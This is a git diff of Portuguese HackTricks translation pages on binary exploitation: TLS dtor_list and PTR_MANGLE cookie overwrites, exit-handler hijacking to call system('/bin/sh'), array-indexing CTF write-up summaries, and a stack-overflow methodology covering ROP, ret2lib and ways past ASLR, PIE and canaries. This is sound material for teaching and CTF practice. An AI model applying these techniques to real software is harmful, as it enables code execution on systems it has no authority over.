Usando a função **`tls`** deste [**fork do GEF**](https://github.com/bata24/gef), é possível ver que na verdade a **`dtor_list`** está muito **perto** do **stack canary** e do **PTR_MANGLE cookie**. Assim, com um overflow nela, seria possível **sobrescrever** o **cookie** e o **stack canary**.\
|
||||||
Sobrescrevendo o cookie PTR\_MANGLE, seria possível **burlar a função `PTR_DEMANLE`** definindo-o como 0x00, o que significa que o **`xor`** usado para obter o endereço real é apenas o endereço configurado. Em seguida, escrevendo na **`dtor_list`**, é possível **encadear várias funções** com o endereço da função e seu **argumento**.
|
Sobrescrevendo o PTR_MANGLE cookie, seria possível **burlar a função `PTR_DEMANLE`** configurando-o para 0x00, o que significa que o **`xor`** usado para obter o endereço real é apenas o endereço configurado. Então, ao escrever na **`dtor_list`**, é possível **encadear várias funções** com o **endereço** da função e seu **argumento**.
|
||||||
|
|
||||||
Por fim, observe que o ponteiro armazenado não apenas será xorado com o cookie, mas também rotacionado 17 bits:
|
Finalmente, note que o ponteiro armazenado não será apenas xorado com o cookie, mas também rotacionado 17 bits:
|
||||||
```armasm
|
```armasm
|
||||||
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
|
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
|
||||||
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
|
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
|
||||||
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
|
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
|
||||||
```
|
```
|
||||||
Portanto, você precisa levar isso em consideração antes de adicionar um novo endereço.
|
Então você precisa levar isso em consideração antes de adicionar um novo endereço.
|
||||||
|
|
||||||
Encontre um exemplo no [**post original**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite).
|
Encontre um exemplo na [**postagem original**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite).
|
||||||
|
|
||||||
## Outros ponteiros corrompidos em **`__run_exit_handlers`**
|
## Outros ponteiros corrompidos em **`__run_exit_handlers`**
|
||||||
|
|
||||||
Essa técnica é [**explicada aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) e depende novamente do programa **sair chamando `return` ou `exit()`** para que **`__run_exit_handlers()`** seja chamado.
|
Esta técnica é [**explicada aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) e depende novamente do programa **sair chamando `return` ou `exit()`** para que **`__run_exit_handlers()`** seja chamado.
|
||||||
|
|
||||||
Vamos verificar mais código desta função:
|
Vamos verificar mais código desta função:
|
||||||
```c
|
```c
|
||||||
|
@ -228,14 +228,27 @@ free (cur);
|
||||||
|
|
||||||
__libc_lock_unlock (__exit_funcs_lock);
|
__libc_lock_unlock (__exit_funcs_lock);
|
||||||
```
|
```
|
||||||
A variável `f` aponta para a estrutura **`initial`** e dependendo do valor de `f->flavor`, diferentes funções serão chamadas.
|
A variável `f` aponta para a estrutura **`initial`** e, dependendo do valor de `f->flavor`, diferentes funções serão chamadas.\
|
||||||
|
Dependendo do valor, o endereço da função a ser chamada estará em um lugar diferente, mas sempre estará **demangled**.
|
||||||
Dependendo do valor, o endereço da função a ser chamada estará em um local diferente, mas sempre será **desembaralhado**.
|
|
||||||
|
|
||||||
Além disso, nas opções **`ef_on`** e **`ef_cxa`**, também é possível controlar um **argumento**.
|
Além disso, nas opções **`ef_on`** e **`ef_cxa`**, também é possível controlar um **argumento**.
|
||||||
|
|
||||||
É possível verificar a estrutura **`initial`** em uma sessão de depuração com o GEF executando **`gef> p initial`**.
|
É possível verificar a **estrutura `initial`** em uma sessão de depuração com GEF executando **`gef> p initial`**.
|
||||||
|
|
||||||
Para abusar disso, você precisa vazar ou apagar o **cookie `PTR_MANGLE`** e então sobrescrever uma entrada `cxa` em initial com `system('/bin/sh')`.
|
|
||||||
|
|
||||||
|
Para abusar disso, você precisa **vazar ou apagar o `PTR_MANGLE`cookie** e então sobrescrever uma entrada `cxa` em initial com `system('/bin/sh')`.\
|
||||||
Você pode encontrar um exemplo disso no [**post original do blog sobre a técnica**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
|
Você pode encontrar um exemplo disso no [**post original do blog sobre a técnica**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Indexação de Arrays
|
# Indexação de Array
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -6,26 +6,26 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
Esta categoria inclui todas as vulnerabilidades que ocorrem porque é possível sobrescrever certos dados através de erros no tratamento de índices em arrays. É uma categoria muito ampla sem uma metodologia específica, pois o mecanismo de exploração depende completamente das condições da vulnerabilidade.
|
Esta categoria inclui todas as vulnerabilidades que ocorrem porque é possível sobrescrever certos dados através de erros no manuseio de índices em arrays. É uma categoria muito ampla, sem uma metodologia específica, pois o mecanismo de exploração depende completamente das condições da vulnerabilidade.
|
||||||
|
|
||||||
No entanto, aqui você pode encontrar alguns bons **exemplos**:
|
No entanto, aqui você pode encontrar alguns **exemplos**:
|
||||||
|
|
||||||
* [https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html)
|
* [https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html)
|
||||||
* Existem **2 arrays colidindo**, um para **endereços** onde os dados são armazenados e outro com os **tamanhos** desses dados. É possível sobrescrever um a partir do outro, permitindo escrever um endereço arbitrário indicando-o como um tamanho. Isso permite escrever o endereço da função `free` na tabela GOT e então sobrescrevê-lo com o endereço para `system`, e chamar free a partir de uma memória com `/bin/sh`.
|
* Existem **2 arrays colidindo**, um para **endereços** onde os dados são armazenados e um com os **tamanhos** desses dados. É possível sobrescrever um pelo outro, permitindo escrever um endereço arbitrário indicando-o como um tamanho. Isso permite escrever o endereço da função `free` na tabela GOT e, em seguida, sobrescrevê-lo com o endereço para `system`, e chamar free de uma memória com `/bin/sh`.
|
||||||
* [https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html)
|
* [https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html)
|
||||||
* 64 bits, sem nx. Sobrescreva um tamanho para obter uma espécie de estouro de buffer onde tudo será usado como um número duplo e ordenado do menor para o maior, então é necessário criar um shellcode que atenda a esse requisito, levando em consideração que o canário não deve ser movido de sua posição e finalmente sobrescrevendo o RIP com um endereço para ret, que atenda aos requisitos anteriores e colocando o maior endereço um novo endereço apontando para o início da pilha (vazado pelo programa) para que seja possível usar o ret para pular para lá.
|
* 64 bits, sem nx. Sobrescrever um tamanho para obter uma espécie de buffer overflow onde tudo vai ser usado como um número duplo e ordenado do menor para o maior, então é necessário criar um shellcode que atenda a esse requisito, levando em conta que o canário não deve ser movido de sua posição e, finalmente, sobrescrever o RIP com um endereço para ret, que atenda aos requisitos anteriores e colocando o maior endereço como um novo endereço apontando para o início da pilha (vazado pelo programa) para que seja possível usar o ret para pular lá.
|
||||||
* [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
* [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||||
* 64 bits, sem relro, canary, nx, sem pie. Há um off-by-one em um array na pilha que permite controlar um ponteiro concedendo WWW (ele escreve a soma de todos os números do array no endereço sobrescrito pelo off-by-one no array). A pilha é controlada para que o endereço `exit` da GOT seja sobrescrito com `pop rdi; ret`, e na pilha é adicionado o endereço para `main` (voltando para `main`). Uma cadeia ROP para vazar o endereço colocado na GOT usando puts é usada (`exit` será chamado então chamará `pop rdi; ret` executando assim essa cadeia na pilha). Finalmente, uma nova cadeia ROP executando ret2lib é usada.
|
* 64 bits, sem relro, canário, nx, sem pie. Há um off-by-one em um array na pilha que permite controlar um ponteiro concedendo WWW (ele escreve a soma de todos os números do array no endereço sobrescrito pelo off-by-one no array). A pilha é controlada, então o endereço GOT `exit` é sobrescrito com `pop rdi; ret`, e na pilha é adicionado o endereço para `main` (voltando para `main`). Uma cadeia ROP para vazar o endereço de put na GOT usando puts é usada (`exit` será chamado, então chamará `pop rdi; ret`, portanto, executando essa cadeia na pilha). Finalmente, uma nova cadeia ROP executando ret2lib é usada.
|
||||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
|
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
|
||||||
* 32 bits, sem relro, sem canary, nx, pie. Abusa de uma indexação ruim para vazar endereços de libc e heap da pilha. Abusa do estouro de buffer para fazer um ret2lib chamando `system('/bin/sh')` (o endereço do heap é necessário para contornar uma verificação).
|
* 32 bits, sem relro, sem canário, nx, pie. Abuse uma má indexação para vazar endereços de libc e heap da pilha. Abuse o buffer overflow para fazer um ret2lib chamando `system('/bin/sh')` (o endereço da heap é necessário para contornar uma verificação).
|
||||||
|
|
|
@ -9,8 +9,8 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Suporte ao HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -26,26 +26,26 @@ Antes de começar a explorar qualquer coisa, é interessante entender parte da e
|
||||||
## Ferramentas de Exploração
|
## Ferramentas de Exploração
|
||||||
|
|
||||||
{% content-ref url="tools/" %}
|
{% content-ref url="tools/" %}
|
||||||
[ferramentas](tools/)
|
[tools](tools/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Metodologia de Estouro de Pilha
|
## Metodologia de Stack Overflow
|
||||||
|
|
||||||
Com tantas técnicas, é bom ter um esquema de quando cada técnica será útil. Note que as mesmas proteções afetarão diferentes técnicas. Você pode encontrar maneiras de contornar as proteções em cada seção de proteção, mas não nesta metodologia.
|
Com tantas técnicas, é bom ter um esquema de quando cada técnica será útil. Note que as mesmas proteções afetarão diferentes técnicas. Você pode encontrar maneiras de contornar as proteções em cada seção de proteção, mas não nesta metodologia.
|
||||||
|
|
||||||
## Controlando o Fluxo
|
## Controlando o Fluxo
|
||||||
|
|
||||||
Existem diferentes maneiras de controlar o fluxo de um programa:
|
Existem diferentes maneiras de você acabar controlando o fluxo de um programa:
|
||||||
|
|
||||||
* **Estouros de Pilha** sobrescrevendo o ponteiro de retorno da pilha ou o EBP -> ESP -> EIP.
|
* [**Stack Overflows**](../stack-overflow/) sobrescrevendo o ponteiro de retorno da pilha ou o EBP -> ESP -> EIP.
|
||||||
* Pode ser necessário abusar de um **Estouro de Inteiro** para causar o estouro
|
* Pode ser necessário abusar de um [**Integer Overflows**](../integer-overflow.md) para causar o overflow.
|
||||||
* Ou via **Gravação Arbitrária + Escrever Onde para Executar**
|
* Ou via **Arbitrary Writes + Write What Where to Execution**.
|
||||||
* **Strings de Formato:** Abusar do `printf` para escrever conteúdo arbitrário em endereços arbitrários.
|
* [**Format strings**](../format-strings/)**:** Abuse `printf` para escrever conteúdo arbitrário em endereços arbitrários.
|
||||||
* **Indexação de Arrays:** Abusar de uma indexação mal projetada para poder controlar alguns arrays e obter uma gravação arbitrária.
|
* [**Array Indexing**](../array-indexing.md): Abuse de um indexação mal projetada para conseguir controlar alguns arrays e obter uma escrita arbitrária.
|
||||||
* Pode ser necessário abusar de um **Estouro de Inteiro** para causar o estouro
|
* Pode ser necessário abusar de um [**Integer Overflows**](../integer-overflow.md) para causar o overflow.
|
||||||
* **bof para WWW via ROP:** Abusar de um estouro de buffer para construir um ROP e ser capaz de obter um WWW.
|
* **bof para WWW via ROP**: Abuse de um buffer overflow para construir um ROP e conseguir obter um WWW.
|
||||||
|
|
||||||
Você pode encontrar as técnicas de **Escrever Onde para Executar** em:
|
Você pode encontrar as técnicas de **Write What Where to Execution** em:
|
||||||
|
|
||||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||||
|
@ -53,69 +53,85 @@ Você pode encontrar as técnicas de **Escrever Onde para Executar** em:
|
||||||
|
|
||||||
## Laços Eternos
|
## Laços Eternos
|
||||||
|
|
||||||
Algo a se ter em conta é que geralmente **apenas uma exploração de uma vulnerabilidade pode não ser suficiente** para executar um exploit com sucesso, especialmente algumas proteções precisam ser contornadas. Portanto, é interessante discutir algumas opções para **tornar uma única vulnerabilidade explorável várias vezes** na mesma execução do binário:
|
Algo a ser levado em conta é que geralmente **apenas uma exploração de uma vulnerabilidade pode não ser suficiente** para executar um exploit bem-sucedido, especialmente algumas proteções precisam ser contornadas. Portanto, é interessante discutir algumas opções para **tornar uma única vulnerabilidade explorável várias vezes** na mesma execução do binário:
|
||||||
|
|
||||||
* Escrever em uma cadeia **ROP** o endereço da função **`main`** ou para o endereço onde a **vulnerabilidade** está ocorrendo.
|
* Escrever em uma cadeia **ROP** o endereço da **função `main`** ou o endereço onde a **vulnerabilidade** está ocorrendo.
|
||||||
* Controlando uma cadeia ROP adequada, você pode ser capaz de realizar todas as ações nessa cadeia
|
* Controlando uma cadeia ROP adequada, você pode ser capaz de realizar todas as ações nessa cadeia.
|
||||||
* Escrever no endereço **`exit` em GOT** (ou em qualquer outra função usada pelo binário antes de terminar) o endereço para voltar à **vulnerabilidade**
|
* Escrever no **endereço `exit` no GOT** (ou qualquer outra função usada pelo binário antes de terminar) o endereço para voltar **à vulnerabilidade**.
|
||||||
* Como explicado em [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** armazene 2 funções aqui, uma para chamar a vulnerabilidade novamente e outra para chamar**`__libc_csu_fini`** que chamará novamente a função de `.fini_array`.
|
* Como explicado em [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** armazene 2 funções aqui, uma para chamar a vulnerabilidade novamente e outra para chamar **`__libc_csu_fini`** que chamará novamente a função de `.fini_array`.
|
||||||
|
|
||||||
## Objetivos de Exploração
|
## Objetivos de Exploração
|
||||||
|
|
||||||
### Objetivo: Chamar uma Função Existente
|
### Objetivo: Chamar uma Função Existente
|
||||||
|
|
||||||
* [**ret2win**](./#ret2win): Existe uma função no código que você precisa chamar (talvez com alguns parâmetros específicos) para obter a flag.
|
* [**ret2win**](./#ret2win): Há uma função no código que você precisa chamar (talvez com alguns parâmetros específicos) para obter a flag.
|
||||||
* Em um **bof regular sem** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), você só precisa escrever o endereço no endereço de retorno armazenado na pilha.
|
* Em um **bof regular sem** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), você só precisa escrever o endereço no endereço de retorno armazenado na pilha.
|
||||||
* Em um bof com [**PIE**](../common-binary-protections-and-bypasses/pie/), você precisará contorná-lo
|
* Em um bof com [**PIE**](../common-binary-protections-and-bypasses/pie/), você precisará contorná-lo.
|
||||||
* Em um bof com [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), você precisará contorná-lo
|
* Em um bof com [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), você precisará contorná-lo.
|
||||||
* Se você precisar definir vários parâmetros para chamar corretamente a função **ret2win**, você pode usar:
|
* Se você precisar definir vários parâmetros para chamar corretamente a função **ret2win**, você pode usar:
|
||||||
* Uma cadeia [**ROP**](./#rop-and-ret2...-techniques) **se houver gadgets suficientes** para preparar todos os parâmetros
|
* Uma cadeia [**ROP**](./#rop-and-ret2...-techniques) **se houver gadgets suficientes** para preparar todos os parâmetros.
|
||||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (caso possa chamar essa chamada de sistema) para controlar muitos registradores
|
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (caso você possa chamar essa syscall) para controlar muitos registradores.
|
||||||
* Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores
|
* Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores.
|
||||||
* Através de um [**Escrever Onde para Executar**](../arbitrary-write-2-exec/) você poderia abusar de outras vulnerabilidades (não bof) para chamar a função **`win`**.
|
* Via um [**Write What Where**](../arbitrary-write-2-exec/), você poderia abusar de outras vulnerabilidades (não bof) para chamar a função **`win`**.
|
||||||
* [**Redirecionamento de Ponteiros**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço.
|
* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço.
|
||||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) podem afetar os endereços.
|
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) podem afetar os endereços.
|
||||||
* [**Variáveis não inicializadas**](../stack-overflow/uninitialized-variables.md): Você nunca sabe.
|
* [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Você nunca sabe.
|
||||||
|
|
||||||
### Objetivo: RCE
|
### Objetivo: RCE
|
||||||
|
|
||||||
#### Via shellcode, se nx desativado ou misturando shellcode com ROP:
|
#### Via shellcode, se nx desativado ou misturando shellcode com ROP:
|
||||||
|
|
||||||
* [**(Stack) Shellcode**](./#stack-shellcode): Isso é útil para armazenar um shellcode na pilha antes ou depois de sobrescrever o ponteiro de retorno e então **pular para ele** para executá-lo:
|
* [**(Stack) Shellcode**](./#stack-shellcode): Isso é útil para armazenar um shellcode na pilha antes ou depois de sobrescrever o ponteiro de retorno e então **pular para ele** para executá-lo:
|
||||||
* **De qualquer forma, se houver um** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** em um bof regular você precisará contorná-lo (vazar)
|
* **Em qualquer caso, se houver um** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** em um bof regular você precisará contorná-lo (leak).
|
||||||
* **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) é possível pular para o endereço da pilha, pois ele nunca mudará
|
* **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), é possível pular para o endereço da pilha, pois ele nunca mudará.
|
||||||
* **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/), você precisará de técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para pular para ele
|
* **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/), você precisará de técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para pular para ele.
|
||||||
* **Com** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), você precisará usar algum [**ROP**](../rop-return-oriented-programing/) **para chamar `memprotect`** e tornar alguma página `rwx`, para então **armazenar o shellcode lá** (chamando read, por exemplo) e então pular para lá.
|
* **Com** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), você precisará usar algum [**ROP**](../rop-return-oriented-programing/) **para chamar `memprotect`** e tornar alguma página `rwx`, a fim de então **armazenar o shellcode lá** (chamando read, por exemplo) e depois pular para lá.
|
||||||
* Isso misturará shellcode com uma cadeia ROP.
|
* Isso misturará shellcode com uma cadeia ROP.
|
||||||
|
|
||||||
#### Via syscalls
|
#### Via syscalls
|
||||||
|
|
||||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Útil para chamar `execve` para executar comandos arbitrários. Você precisa ser capaz de encontrar os **gadgets para chamar a syscall específica com os parâmetros**.
|
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Útil para chamar `execve` para executar comandos arbitrários. Você precisa ser capaz de encontrar os **gadgets para chamar a syscall específica com os parâmetros**.
|
||||||
* Se [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) estiverem habilitados, você precisará derrotá-los **para usar gadgets ROP** do binário ou bibliotecas.
|
* Se [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) estiverem habilitados, você precisará derrotá-los **para usar gadgets ROP** do binário ou bibliotecas.
|
||||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) pode ser útil para preparar o **ret2execve**
|
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) pode ser útil para preparar o **ret2execve**.
|
||||||
* Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores
|
* Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores.
|
||||||
|
|
||||||
#### Via libc
|
#### Via libc
|
||||||
|
|
||||||
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Útil para chamar uma função de uma biblioteca (geralmente de **`libc`**) como **`system`** com alguns argumentos preparados (por exemplo, `'/bin/sh'`). Você precisa que o binário **carregue a biblioteca** com a função que deseja chamar (geralmente libc).
|
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Útil para chamar uma função de uma biblioteca (geralmente de **`libc`**) como **`system`** com alguns argumentos preparados (por exemplo, `'/bin/sh'`). Você precisa que o binário **carregue a biblioteca** com a função que você gostaria de chamar (libc geralmente).
|
||||||
* Se **compilado estaticamente e sem** [**PIE**](../common-binary-protections-and-bypasses/pie/), o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente.
|
* Se **compilado estaticamente e sem** [**PIE**](../common-binary-protections-and-bypasses/pie/), o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente.
|
||||||
* **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e conhecendo a versão da libc** carregada, o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente.
|
* **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e sabendo a versão da libc** carregada, o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente.
|
||||||
* Com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **mas sem** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, conhecendo a libc e com o binário usando a função `system`** é possível **`ret` para o endereço do system no GOT** com o endereço de `'/bin/sh'` no parâmetro (você precisará descobrir isso).
|
* Com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **mas sem** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, sabendo a libc e com o binário usando a função `system`**, é possível **`ret` para o endereço de system no GOT** com o endereço de `'/bin/sh'` no parâmetro (você precisará descobrir isso).
|
||||||
* Com [ASLR](../common-binary-protections-and-bypasses/aslr/) mas sem [PIE](../common-binary-protections-and-bypasses/pie/), conhecendo a libc e **sem o binário usando o `system`** :
|
* Com [ASLR](../common-binary-protections-and-bypasses/aslr/) mas sem [PIE](../common-binary-protections-and-bypasses/pie/), sabendo a libc e **sem o binário usar a função `system`**:
|
||||||
* Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver o endereço de `system` e chamá-lo 
|
* Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver o endereço de `system` e chamá-lo.
|
||||||
* **Burlar** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) e calcular o endereço de `system` e `'/bin/sh'` na memória.
|
* **Contorne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) e calcule o endereço de `system` e `'/bin/sh'` na memória.
|
||||||
* **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e sem conhecer a libc**: Você precisa:
|
